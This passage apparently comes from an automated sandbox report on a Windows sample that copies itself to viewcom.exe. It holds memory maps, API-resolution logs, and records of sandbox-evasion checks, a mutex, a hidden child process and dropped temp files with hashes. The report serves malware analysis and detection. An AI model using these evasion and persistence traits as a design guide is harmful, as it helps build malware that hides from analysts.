private_0x0000000001200000 | 0x01200000 | 0x012fffff | Private Memory | Readable, Writable |
|
|||
sortdefault.nls | 0x01300000 | 0x015cefff | Memory Mapped File | Readable |
|
|||
winspool.drv | 0x6d400000 | 0x6d450fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
webio.dll | 0x6f5b0000 | 0x6f5fefff | Memory Mapped File | Readable, Writable, Executable |
|
|||
winhttp.dll | 0x6f600000 | 0x6f657fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
sspicli.dll | 0x75640000 | 0x7565afff | Memory Mapped File | Readable, Writable, Executable |
|
|||
msasn1.dll | 0x75780000 | 0x7578bfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
crypt32.dll | 0x757b0000 | 0x758ccfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
kernelbase.dll | 0x758d0000 | 0x75919fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
usp10.dll | 0x75a70000 | 0x75b0cfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
lpk.dll | 0x75b10000 | 0x75b19fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
rpcrt4.dll | 0x75b60000 | 0x75c00fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
user32.dll | 0x75c10000 | 0x75cd8fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
urlmon.dll | 0x75ce0000 | 0x75e15fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
iertutil.dll | 0x75e30000 | 0x7602afff | Memory Mapped File | Readable, Writable, Executable |
|
|||
advapi32.dll | 0x76030000 | 0x760cffff | Memory Mapped File | Readable, Writable, Executable |
|
|||
shlwapi.dll | 0x760e0000 | 0x76136fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
sechost.dll | 0x76330000 | 0x76348fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
kernel32.dll | 0x76350000 | 0x76423fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
imm32.dll | 0x77140000 | 0x7715efff | Memory Mapped File | Readable, Writable, Executable |
|
|||
wininet.dll | 0x771e0000 | 0x772d4fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
msctf.dll | 0x772e0000 | 0x773abfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
msvcrt.dll | 0x773b0000 | 0x7745bfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
ole32.dll | 0x77460000 | 0x775bbfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
ntdll.dll | 0x775c0000 | 0x776fbfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
gdi32.dll | 0x77710000 | 0x7775dfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
oleaut32.dll | 0x77760000 | 0x777eefff | Memory Mapped File | Readable, Writable, Executable |
|
|||
apisetschema.dll | 0x77800000 | 0x77800fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
pagefile_0x000000007f6f0000 | 0x7f6f0000 | 0x7f7effff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x000000007ffb0000 | 0x7ffb0000 | 0x7ffd2fff | Pagefile Backed Memory | Readable |
|
|||
private_0x000000007ffdd000 | 0x7ffdd000 | 0x7ffddfff | Private Memory | Readable, Writable |
|
|||
private_0x000000007ffde000 | 0x7ffde000 | 0x7ffdefff | Private Memory | Readable, Writable |
|
|||
private_0x000000007ffdf000 | 0x7ffdf000 | 0x7ffdffff | Private Memory | Readable, Writable |
|
Category | Operation | Information | Success | Count | Logfile |
---|---|---|---|---|---|
Module | Get Address | function = VirtualAlloc, ordinal = 0, address_out = 0x12fd10 | 1 |
Fn
|
|
Module | Get Address | function = VirtualAlloc, ordinal = 0, address_out = 0x12fd50 | 1 |
Fn
|
|
Module | Get Address | function = LoadLibraryA, ordinal = 0, address_out = 0x12fd6c | 1 |
Fn
|
|
Module | Get Address | function = GetProcAddress, ordinal = 0, address_out = 0x12fd6c | 1 |
Fn
|
|
Module | Get Address | function = VirtualAlloc, ordinal = 0, address_out = 0x12fd6c | 1 |
Fn
|
|
Module | Get Address | function = VirtualProtect, ordinal = 0, address_out = 0x12fd6c | 1 |
Fn
|
|
Module | Get Address | function = UnmapViewOfFile, ordinal = 0, address_out = 0x12fd6c | 1 |
Fn
|
|
Module | Get Address | function = AddVectoredExceptionHandler, ordinal = 0, address_out = 0x12fd6c | 1 |
Fn
|
|
Module | Get Address | function = RemoveVectoredExceptionHandler, ordinal = 0, address_out = 0x12fd6c | 1 |
Fn
|
|
Module | Load | module_name = ntdll.dll, base_address = 0x775c0000 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\ntdll.dll, function = cos, address_out = 0x77607400 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\ntdll.dll, function = sin, address_out = 0x775f41c0 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\ntdll.dll, function = strchr, address_out = 0x77607690 | 1 |
Fn
|
|
Module | Load | module_name = KERNEL32.dll, base_address = 0x76350000 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = LoadLibraryA, address_out = 0x763a395c | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = lstrcmpA, address_out = 0x76388c59 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = CreateFileA, address_out = 0x7639cee8 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = CloseHandle, address_out = 0x7639ca7c | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = GetModuleHandleA, address_out = 0x7639cf41 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = GetModuleFileNameA, address_out = 0x763a33f6 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = GetComputerNameA, address_out = 0x76386ba9 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = GetComputerNameExA, address_out = 0x763df41f | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = GetCommandLineA, address_out = 0x763a98ff | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = FreeConsole, address_out = 0x763fbfde | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = VirtualAlloc, address_out = 0x763a2fb6 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = IsDebuggerPresent, address_out = 0x76393ea8 | 1 |
Fn
|
|
Module | Load | module_name = ADVAPI32.dll, base_address = 0x76030000 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\advapi32.dll, function = GetUserNameA, address_out = 0x7605a4b4 | 1 |
Fn
|
|
Module | Load | module_name = SHLWAPI.dll, base_address = 0x760e0000 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\shlwapi.dll, function = StrStrIA, address_out = 0x760ed250 | 1 |
Fn
|
|
Debug | Check for Presence | c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe | 249 |
Fn
|
|
Module | Load | module_name = winhttp.dll, base_address = 0x6f600000 | 1 |
Fn
|
|
Module | Load | module_name = urlmon.dll, base_address = 0x75ce0000 | 1 |
Fn
|
|
Module | Load | module_name = wininet.dll, base_address = 0x771e0000 | 1 |
Fn
|
|
Module | Load | module_name = winhttp.dll, base_address = 0x6f600000 | 1 |
Fn
|
|
Module | Load | module_name = urlmon.dll, base_address = 0x75ce0000 | 1 |
Fn
|
|
Module | Load | module_name = wininet.dll, base_address = 0x771e0000 | 1 |
Fn
|
|
Module | Load | module_name = winhttp.dll, base_address = 0x6f600000 | 1 |
Fn
|
|
Module | Load | module_name = urlmon.dll, base_address = 0x75ce0000 | 1 |
Fn
|
|
Module | Load | module_name = wininet.dll, base_address = 0x771e0000 | 1 |
Fn
|
|
Module | Load | module_name = winhttp.dll, base_address = 0x6f600000 | 1 |
Fn
|
|
Module | Load | module_name = urlmon.dll, base_address = 0x75ce0000 | 1 |
Fn
|
|
Module | Load | module_name = wininet.dll, base_address = 0x771e0000 | 1 |
Fn
|
|
Module | Load | module_name = winhttp.dll, base_address = 0x6f600000 | 1 |
Fn
|
|
Module | Load | module_name = urlmon.dll, base_address = 0x75ce0000 | 1 |
Fn
|
|
Module | Load | module_name = wininet.dll, base_address = 0x771e0000 | 1 |
Fn
|
|
Module | Load | module_name = winhttp.dll, base_address = 0x6f600000 | 1 |
Fn
|
|
Module | Load | module_name = urlmon.dll, base_address = 0x75ce0000 | 1 |
Fn
|
|
Module | Load | module_name = wininet.dll, base_address = 0x771e0000 | 1 |
Fn
|
|
System | Get Computer Name | result_out = ZJEWV7F | 1 |
Fn
|
|
System | Get Computer Name | result_out = ZjEwV7f, type = ComputerNameDnsHostname | 1 |
Fn
|
|
File | Create | filename = C:\email.doc, desired_access = GENERIC_READ | 1 |
Fn
|
|
File | Create | filename = C:\a\foobar.bmp, desired_access = GENERIC_READ | 1 |
Fn
|
|
Module | Get Handle | module_name = c:\users\atveyd~1\appdata\local\temp\38763.exe, base_address = 0x400000 | 1 |
Fn
|
|
Module | Get Filename | module_name = c:\users\atveyd~1\appdata\local\temp\38763.exe, process_name = c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe, file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe, size = 259 | 1 |
Fn
|
|
Debug | Check for Presence | c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe | 249 |
Fn
|
|
Module | Load | module_name = winhttp.dll, base_address = 0x6f600000 | 1 |
Fn
|
|
Module | Load | module_name = urlmon.dll, base_address = 0x75ce0000 | 1 |
Fn
|
|
Module | Load | module_name = wininet.dll, base_address = 0x771e0000 | 1 |
Fn
|
|
Module | Load | module_name = KERNEL32.dll, base_address = 0x76350000 | 1 |
Fn
|
|
Module | Get Address | module_name = c:\windows\system32\kernel32.dll, function = WTSGetActiveConsoleSessionId, address_out = 0x7638480b | 1 |
Fn
|
|
Module | Get Filename | process_name = c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe, file_name_orig = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe, size = 260 | 1 |
Fn
|
|
Mutex | Create | mutex_name = M68B1B0D0 | 1 |
Fn
|
|
Process | Create | process_name = C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe, os_pid = 0xb98, startup_flags = STARTF_FORCEOFFFEEDBACK, show_window = SW_HIDE | 1 |
Fn
|
Information | Value |
---|---|
ID | #6 |
File Name | c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe |
Command Line | "C:\Users\ATVeyDl98Z\AppData\Local\Microsoft\Windows\viewcom.exe" |
Initial Working Directory | C:\Users\ATVeyDl98Z\Desktop\ |
Monitor | Start Time: 00:01:04, Reason: Child Process |
Unmonitor | End Time: 00:02:34, Reason: Terminated by Timeout |
Monitor Duration | 00:01:30 |
Information | Value |
---|---|
PID | 0xb98 |
Parent PID | 0xb8c (c:\users\atveydl98z\appdata\local\microsoft\windows\viewcom.exe) |
Is Created or Modified Executable | |
Integrity Level | Medium |
Username | ZJEWV7F\ATVeyDl98Z |
Groups |
|
Enabled Privileges | SeChangeNotifyPrivilege |
Thread IDs |
0x
B9C
0x
BA0
0x
BAC
0x
BB0
0x
BB4
0x
C48
0x
C4C
0x
C50
0x
C54
0x
C58
0x
C5C
0x
C60
0x
C64
0x
C68
0x
C6C
0x
C88
0x
C8C
|
Name | Start VA | End VA | Type | Permissions | Monitored | Dump | YARA Match | Actions |
---|---|---|---|---|---|---|---|---|
private_0x0000000000010000 | 0x00010000 | 0x0002ffff | Private Memory | Readable, Writable |
|
|||
pagefile_0x0000000000010000 | 0x00010000 | 0x0001ffff | Pagefile Backed Memory | Readable, Writable |
|
|||
private_0x0000000000020000 | 0x00020000 | 0x00020fff | Private Memory | Readable, Writable |
|
|||
private_0x0000000000030000 | 0x00030000 | 0x0012ffff | Private Memory | Readable, Writable |
|
|||
pagefile_0x0000000000130000 | 0x00130000 | 0x00133fff | Pagefile Backed Memory | Readable |
|
|||
private_0x0000000000140000 | 0x00140000 | 0x00140fff | Private Memory | Readable, Writable |
|
|||
private_0x0000000000150000 | 0x00150000 | 0x0015dfff | Private Memory | Readable, Writable |
|
|||
private_0x0000000000160000 | 0x00160000 | 0x0016cfff | Private Memory | Readable, Writable, Executable |
|
|||
private_0x0000000000170000 | 0x00170000 | 0x0017cfff | Private Memory | Readable, Writable |
|
|||
private_0x0000000000180000 | 0x00180000 | 0x0027ffff | Private Memory | Readable, Writable |
|
|||
locale.nls | 0x00280000 | 0x002e6fff | Memory Mapped File | Readable |
|
|||
pagefile_0x00000000002f0000 | 0x002f0000 | 0x002f0fff | Pagefile Backed Memory | Readable, Writable |
|
|||
pagefile_0x0000000000300000 | 0x00300000 | 0x00314fff | Pagefile Backed Memory | Readable |
|
|||
rsaenh.dll | 0x00300000 | 0x0033bfff | Memory Mapped File | Readable |
|
|||
private_0x0000000000300000 | 0x00300000 | 0x0030ffff | Private Memory | Readable, Writable |
|
|||
pagefile_0x0000000000300000 | 0x00300000 | 0x00307fff | Pagefile Backed Memory | Readable, Writable |
|
|||
pagefile_0x0000000000300000 | 0x00300000 | 0x00301fff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x0000000000310000 | 0x00310000 | 0x00317fff | Pagefile Backed Memory | Readable, Writable |
|
|||
windowsshell.manifest | 0x00310000 | 0x00310fff | Memory Mapped File | Readable |
|
|||
index.dat | 0x00310000 | 0x0031ffff | Memory Mapped File | Readable, Writable |
|
|||
pagefile_0x0000000000320000 | 0x00320000 | 0x00321fff | Pagefile Backed Memory | Readable |
|
|||
index.dat | 0x00330000 | 0x00337fff | Memory Mapped File | Readable, Writable |
|
|||
private_0x0000000000340000 | 0x00340000 | 0x0034ffff | Private Memory | Readable, Writable |
|
|||
index.dat | 0x00350000 | 0x0035ffff | Memory Mapped File | Readable, Writable |
|
|||
private_0x0000000000360000 | 0x00360000 | 0x003bffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000000360000 | 0x00360000 | 0x00360fff | Private Memory | Readable, Writable |
|
|||
pagefile_0x0000000000360000 | 0x00360000 | 0x00360fff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x0000000000370000 | 0x00370000 | 0x00370fff | Pagefile Backed Memory | Readable |
|
|||
private_0x0000000000380000 | 0x00380000 | 0x003bffff | Private Memory | Readable, Writable |
|
|||
pagefile_0x00000000003c0000 | 0x003c0000 | 0x003c0fff | Pagefile Backed Memory | Readable |
|
|||
private_0x00000000003d0000 | 0x003d0000 | 0x003f3fff | Private Memory | Readable, Writable, Executable |
|
|||
38763.exe | 0x00400000 | 0x00415fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
pagefile_0x0000000000420000 | 0x00420000 | 0x004e7fff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x00000000004f0000 | 0x004f0000 | 0x005f0fff | Pagefile Backed Memory | Readable |
|
|||
pagefile_0x0000000000600000 | 0x00600000 | 0x011fffff | Pagefile Backed Memory | Readable |
|
|||
private_0x0000000001200000 | 0x01200000 | 0x012fffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000001300000 | 0x01300000 | 0x01305fff | Private Memory | Readable, Writable, Executable |
|
|||
private_0x0000000001310000 | 0x01310000 | 0x0134ffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000001350000 | 0x01350000 | 0x0135ffff | Private Memory | Readable, Writable |
|
|||
sortdefault.nls | 0x01360000 | 0x0162efff | Memory Mapped File | Readable |
|
|||
private_0x0000000001630000 | 0x01630000 | 0x0172ffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000001730000 | 0x01730000 | 0x0182ffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000001830000 | 0x01830000 | 0x0192ffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000001930000 | 0x01930000 | 0x01a2ffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000001a30000 | 0x01a30000 | 0x01c2ffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000001a30000 | 0x01a30000 | 0x01acffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000001a30000 | 0x01a30000 | 0x01a90fff | Private Memory | Readable, Writable, Executable |
|
|||
private_0x0000000001aa0000 | 0x01aa0000 | 0x01abdfff | Private Memory | Readable, Writable, Executable |
|
|||
private_0x0000000001ac0000 | 0x01ac0000 | 0x01acffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000001ad0000 | 0x01ad0000 | 0x01baffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000001ad0000 | 0x01ad0000 | 0x01b6efff | Private Memory | Readable, Writable |
|
|||
private_0x0000000001ba0000 | 0x01ba0000 | 0x01baffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000001bf0000 | 0x01bf0000 | 0x01c2ffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000001c30000 | 0x01c30000 | 0x01dbffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000001c30000 | 0x01c30000 | 0x01d2ffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000001dc0000 | 0x01dc0000 | 0x01ebffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000001ec0000 | 0x01ec0000 | 0x01fbffff | Private Memory | Readable, Writable |
|
|||
private_0x0000000001fc0000 | 0x01fc0000 | 0x020bffff | Private Memory | Readable, Writable |
|
|||
private_0x00000000020c0000 | 0x020c0000 | 0x021bffff | Private Memory | Readable, Writable |
|
|||
private_0x00000000021c0000 | 0x021c0000 | 0x022bffff | Private Memory | Readable, Writable |
|
|||
private_0x00000000022c0000 | 0x022c0000 | 0x023bffff | Private Memory | Readable, Writable |
|
|||
private_0x00000000023c0000 | 0x023c0000 | 0x024bffff | Private Memory | Readable, Writable |
|
|||
private_0x00000000024c0000 | 0x024c0000 | 0x025bffff | Private Memory | Readable, Writable |
|
|||
private_0x00000000025c0000 | 0x025c0000 | 0x026bffff | Private Memory | Readable, Writable |
|
|||
private_0x00000000026c0000 | 0x026c0000 | 0x027bffff | Private Memory | Readable, Writable |
|
|||
npmproxy.dll | 0x6c840000 | 0x6c847fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
winspool.drv | 0x6d400000 | 0x6d450fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
rasadhlp.dll | 0x6da20000 | 0x6da25fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
webio.dll | 0x6f5b0000 | 0x6f5fefff | Memory Mapped File | Readable, Writable, Executable |
|
|||
winhttp.dll | 0x6f600000 | 0x6f657fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
netprofm.dll | 0x6fbf0000 | 0x6fc49fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
mpr.dll | 0x70f40000 | 0x70f51fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
sensapi.dll | 0x72470000 | 0x72475fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
rasman.dll | 0x72fb0000 | 0x72fc4fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
rasapi32.dll | 0x72fd0000 | 0x73021fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
rtutils.dll | 0x736d0000 | 0x736dcfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
samcli.dll | 0x73800000 | 0x7380efff | Memory Mapped File | Readable, Writable, Executable |
|
|||
winrnr.dll | 0x73850000 | 0x73857fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
pnrpnsp.dll | 0x73860000 | 0x73871fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
napinsp.dll | 0x73880000 | 0x7388ffff | Memory Mapped File | Readable, Writable, Executable |
|
|||
wkscli.dll | 0x73e90000 | 0x73e9efff | Memory Mapped File | Readable, Writable, Executable |
|
|||
netutils.dll | 0x73ea0000 | 0x73ea8fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
netapi32.dll | 0x73eb0000 | 0x73ec0fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
dhcpcsvc.dll | 0x73fa0000 | 0x73fb1fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
dhcpcsvc6.dll | 0x73fc0000 | 0x73fccfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
fwpuclnt.dll | 0x73fe0000 | 0x74017fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
winnsi.dll | 0x740f0000 | 0x740f6fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
iphlpapi.dll | 0x74100000 | 0x7411bfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
wtsapi32.dll | 0x741a0000 | 0x741acfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
nlaapi.dll | 0x74230000 | 0x7423ffff | Memory Mapped File | Readable, Writable, Executable |
|
|||
ntmarta.dll | 0x74460000 | 0x74480fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
comctl32.dll | 0x746f0000 | 0x7488dfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
wshtcpip.dll | 0x74cf0000 | 0x74cf4fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
userenv.dll | 0x74dc0000 | 0x74dd6fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
rsaenh.dll | 0x74f80000 | 0x74fbafff | Memory Mapped File | Readable, Writable, Executable |
|
|||
dnsapi.dll | 0x75060000 | 0x750a3fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
wship6.dll | 0x75190000 | 0x75195fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
mswsock.dll | 0x751a0000 | 0x751dbfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
cryptsp.dll | 0x751e0000 | 0x751f5fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
srvcli.dll | 0x755b0000 | 0x755c8fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
sspicli.dll | 0x75640000 | 0x7565afff | Memory Mapped File | Readable, Writable, Executable |
|
|||
cryptbase.dll | 0x75660000 | 0x7566bfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
rpcrtremote.dll | 0x75700000 | 0x7570dfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
profapi.dll | 0x75710000 | 0x7571afff | Memory Mapped File | Readable, Writable, Executable |
|
|||
msasn1.dll | 0x75780000 | 0x7578bfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
crypt32.dll | 0x757b0000 | 0x758ccfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
kernelbase.dll | 0x758d0000 | 0x75919fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
usp10.dll | 0x75a70000 | 0x75b0cfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
lpk.dll | 0x75b10000 | 0x75b19fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
ws2_32.dll | 0x75b20000 | 0x75b54fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
rpcrt4.dll | 0x75b60000 | 0x75c00fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
user32.dll | 0x75c10000 | 0x75cd8fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
urlmon.dll | 0x75ce0000 | 0x75e15fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
nsi.dll | 0x75e20000 | 0x75e25fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
iertutil.dll | 0x75e30000 | 0x7602afff | Memory Mapped File | Readable, Writable, Executable |
|
|||
advapi32.dll | 0x76030000 | 0x760cffff | Memory Mapped File | Readable, Writable, Executable |
|
|||
shlwapi.dll | 0x760e0000 | 0x76136fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
wldap32.dll | 0x76140000 | 0x76184fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
sechost.dll | 0x76330000 | 0x76348fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
kernel32.dll | 0x76350000 | 0x76423fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
clbcatq.dll | 0x76460000 | 0x764e2fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
shell32.dll | 0x764f0000 | 0x77139fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
imm32.dll | 0x77140000 | 0x7715efff | Memory Mapped File | Readable, Writable, Executable |
|
|||
wininet.dll | 0x771e0000 | 0x772d4fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
msctf.dll | 0x772e0000 | 0x773abfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
msvcrt.dll | 0x773b0000 | 0x7745bfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
ole32.dll | 0x77460000 | 0x775bbfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
ntdll.dll | 0x775c0000 | 0x776fbfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
normaliz.dll | 0x77700000 | 0x77702fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
gdi32.dll | 0x77710000 | 0x7775dfff | Memory Mapped File | Readable, Writable, Executable |
|
|||
oleaut32.dll | 0x77760000 | 0x777eefff | Memory Mapped File | Readable, Writable, Executable |
|
|||
apisetschema.dll | 0x77800000 | 0x77800fff | Memory Mapped File | Readable, Writable, Executable |
|
|||
pagefile_0x000000007f6f0000 | 0x7f6f0000 | 0x7f7effff | Pagefile Backed Memory | Readable |
|
|||
private_0x000000007ffad000 | 0x7ffad000 | 0x7ffadfff | Private Memory | Readable, Writable |
|
|||
private_0x000000007ffae000 | 0x7ffae000 | 0x7ffaefff | Private Memory | Readable, Writable |
|
|||
private_0x000000007ffaf000 | 0x7ffaf000 | 0x7ffaffff | Private Memory | Readable, Writable |
|
|||
pagefile_0x000000007ffb0000 | 0x7ffb0000 | 0x7ffd2fff | Pagefile Backed Memory | Readable |
|
|||
private_0x000000007ffd3000 | 0x7ffd3000 | 0x7ffd3fff | Private Memory | Readable, Writable |
|
|||
private_0x000000007ffd4000 | 0x7ffd4000 | 0x7ffd4fff | Private Memory | Readable, Writable |
|
|||
private_0x000000007ffd5000 | 0x7ffd5000 | 0x7ffd5fff | Private Memory | Readable, Writable |
|
|||
private_0x000000007ffd6000 | 0x7ffd6000 | 0x7ffd6fff | Private Memory | Readable, Writable |
|
|||
private_0x000000007ffd7000 | 0x7ffd7000 | 0x7ffd7fff | Private Memory | Readable, Writable |
|
|||
private_0x000000007ffd8000 | 0x7ffd8000 | 0x7ffd8fff | Private Memory | Readable, Writable |
|
|||
private_0x000000007ffd9000 | 0x7ffd9000 | 0x7ffd9fff | Private Memory | Readable, Writable |
|
|||
private_0x000000007ffda000 | 0x7ffda000 | 0x7ffdafff | Private Memory | Readable, Writable |
|
|||
private_0x000000007ffdb000 | 0x7ffdb000 | 0x7ffdbfff | Private Memory | Readable, Writable |
|
|||
private_0x000000007ffdc000 | 0x7ffdc000 | 0x7ffdcfff | Private Memory | Readable, Writable |
|
|||
private_0x000000007ffdd000 | 0x7ffdd000 | 0x7ffddfff | Private Memory | Readable, Writable |
|
|||
private_0x000000007ffde000 | 0x7ffde000 | 0x7ffdefff | Private Memory | Readable, Writable |
|
|||
private_0x000000007ffdf000 | 0x7ffdf000 | 0x7ffdffff | Private Memory | Readable, Writable |
|
|||
For performance reasons, the remaining 19 entries are omitted.
The remaining entries can be found in flog.txt. |
Filename | File Size | Hash Values | YARA Match | Actions |
---|---|---|---|---|
c:\programdata\9f1b.tmp | 0.00 KB (0 bytes) |
MD5:
d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709 SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 |
|
|
c:\programdata\9f1c.tmp | 0.00 KB (0 bytes) |
MD5:
d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709 SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 |
|
|
c:\programdata\9f2d.tmp | 0.00 KB (0 bytes) |
MD5:
d41d8cd98f00b204e9800998ecf8427e
SHA1: da39a3ee5e6b4b0d3255bfef95601890afd80709 SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 |
|
|
c:\programdata\9f1c.tmp | 0.11 KB (112 bytes) |
MD5:
36427ecb2a0faf13af3047c51b29f9c5
SHA1: 9a3fb26927a7aa81255cf8abcc1f1c3e38f28c4f SHA256: ea156f649bb1180b32c6d5be76c0969941ec76d1fface734f401b5327ac57345 |
|
|
c:\programdata\9f1b.tmp | 0.08 KB (84 bytes) |
MD5:
fdf031de948302c61dede50cd61fa096
SHA1: d926af57565c1448dd81009ed90e324575e9b481 SHA256: 370497cb330134ed7954bbedd18db1a0b34a85bc821b857624183a8d139b95d5 |
|
Category | Operation | Information | Success | Count | Logfile |
---|---|---|---|---|---|
Module | Get Address | function = VirtualAlloc, ordinal = 0, address_out = 0x12fd10 | 1 |
Fn
|
|
Module | Get Address | function = VirtualAlloc, ordinal = 0, address_out = 0x12fd50 | 1 |
Fn
|
|
Module | Get Address | function = LoadLibraryA, ordinal = 0, address_out = 0x12fd6c | 1 |
Fn
|
|
Module | Get Address | function = GetProcAddress, ordinal = 0, address_out = 0x12fd6c | 1 |
Fn
|
|
Module | Get Address | function = VirtualAlloc, ordinal = 0, address_out = 0x12fd6c | 1 |
Fn
|
|
Module | Get Address | function = VirtualProtect, ordinal = 0, address_out = 0x12fd6c | 1 |
Fn
|
|
Module | Get Address | function = UnmapViewOfFile, ordinal = 0, address_out = 0x12fd6c | 1 |
Fn
|
|
Module | Get Address | function = AddVectoredExceptionHandler, ordinal = 0, address_out = 0x12fd6c | 1 |
